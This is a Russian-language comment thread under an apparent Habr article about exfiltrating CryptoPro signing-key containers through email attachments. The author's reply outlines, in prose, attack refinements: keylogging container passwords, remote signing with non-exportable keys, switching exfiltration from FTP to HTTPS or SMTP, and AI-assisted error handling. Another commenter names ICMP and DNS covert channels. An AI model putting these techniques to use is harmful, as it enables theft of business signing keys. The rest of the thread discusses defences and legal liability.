

        1. DmitriiMikhailov Автор
          15.06.2025 10:49

          Это понятно и может быть применимо к крупным компаниям, где безопасностью занимается целый отдел. Но малый бизнес и индивидуальные предприниматели - не в курсе, какие механизмы защиты бывают кроме антивируса. Более того, многие крупные компании ставят антивирус и забивают на все остальное, как те компании, где я работал.
          По поводу программы - вы можете написать базовую реализацию на powershell и ваш вариант имеет право на жизнь, но есть нюансы:
          1. Cmd / powershell антивирусы как раз и ловят
          2. Этот скрипт подойдет для самой примитивной атаки. Он не учитывает ситуации, когда токен не вставлен или контейнер запаролен. В таких случаях было бы логично перейти в режим ожидания, опираясь на коды ошибок, если токен не установлен, то ожидать подключения токена. Если запаролен - ожидать ввод с клавиатуры и проверять по шаблону. Если контейнер неэкспортируемый - получить документ с удаленного сервера, подписать и отправить обратно. Если блокируется трафик по FTP, переходить на HTTPS или SMTP. Можно даже интегрировать с удаленным AI, который будет анализировать и устранять ошибки.
          Есть огромное количество механизмов защиты информации и огромное количество способов их обойти. Если рассылка с вложениями работает на банковских системах, то на малом и среднем бизнесе сработает тем более.


          1. Shaman_RSHU
            15.06.2025 10:49

            Про то, что это всё доступно только в крупных компаниях - отговорки управленцев, которые начинают шевелиться когда уже что-то случиться. Не обязательно держать в штате ИБ, можно аутсорс (даже уже виртуальный CISO есть услуга). И цены гуманные, но к сожалению >0. А если нужно вкладываться в ИБ, пусть и мизер - это отталкивает управленцев. Прибыль же не приносит.

            Да, скрипт собирает только из реестра. Не знаете что делать, если получили запароленый контейнер из реестра? :) И в таких "мелких" организациях, что Вы описали не хранят на токенах ключи - дорого (а если потеряет, сломает, аж 2 тыс. руб. платить за новый, да ещё перевыпуск ЭП).

            В "мелкой" организации точно нет NGFW, поэтому мне не интересно, что они там на сетевом уровне блокируют. Наверняка ходят пинги (ICMP) и DNS как-то резолвится - чем не скрытые каналы.

            Но действительно способов украсть информацию много и социнженерия занимает 80 процентов.


      1. LexPex
        15.06.2025 10:49

        Отлично, благодарю за развернутый ответ. Теперь понятна цель статьи — скорее как «wake-up call», а не технико-методическая раскладка. Тем не менее, позволь тезисно, но по делу:

        Насчёт уголовной ответственности:

        Да, 273 УК — это не шутки. Но тогда возникает вопрос: если нельзя раскрывать подробности, которые могли бы реально помочь понять механизм компрометации, то что мы в итоге получили? Описание на уровне «я смог, антивирусы не заметили, выводы делайте сами». Это оставляет техническое сообщество в подвешенном состоянии — без чёткой картины, где уязвимость, кто виноват: CryptoPro, Windows, пользователь, или вся экосистема?

        Можно ведь рассказать о векторе без 0-day и «криминала» — через моделирование атаки, допустим, с правами пользователя, без кейлоггера и без экспорта ключей.

        Насчёт того, что статья «не для специалистов»:

        Тут тонкая грань. Публика Хабра — всё же не «домохозяйки с Рутокеном», а айтишники, часто с доступом к инфраструктуре и ответственностью за безопасность. И когда им подаётся упрощённая модель атаки без разбора защит, это только добавляет паранойи, но не даёт понимания, что и как закрывать. Тот же пак «Соболь» или классы СКЗИ можно было упомянуть хотя бы одной строкой в конце — без углубления, просто чтобы не казалось, что выхода нет.

        По ссылке на CISA:

        Спасибо, но в статье это не было отражено. А зря. Упоминание CISA дало бы нужную серьёзность, тем более это международный источник, который вызывает уважение. Сейчас же выглядит как типичная «страшная цифра из воздуха».

        Ну и в целом:

        Идея классная. Вектор атаки — реально опасный. Но, как ты сам говоришь, это больше тост, чем технический разбор. Возможно, ты прав — стоит сделать продолжение. А ещё лучше — соавторский материал с кем-то из ИБ-сообщества, чтобы дать и драму, и технику, и контрмеры. Тогда это будет не просто «пугалка», а статья, на которую будут ссылаться в аудитах, внедрении СКЗИ и корпоративных обучениях.


        1. DmitriiMikhailov Автор
          15.06.2025 10:49

          Я прикрепил видео к статье, там показано как все контейнеры по клику на почту уходят - в этом и была суть статьи. Можно тестировать программу в различных условиях, но это может превратиться в бесконечное приключение по обходу системы защиты. Идея интересная, но трудозатратная. Поэтому я бы оставил это на усмотрение руководителей ит департаментов, им тоже нужно отрабатывать свой хлеб :D


    1. santjagocorkez
      15.06.2025 10:49

      Рутокен, JaCarta

      Пффф, YubiKey вообще пушка: помимо аппаратной крипты, оно имеет триггер physical presence, то есть, пока его рукой не потрогаешь, то, хоть даже твой пин миллион раз верный, не подпишет ничего.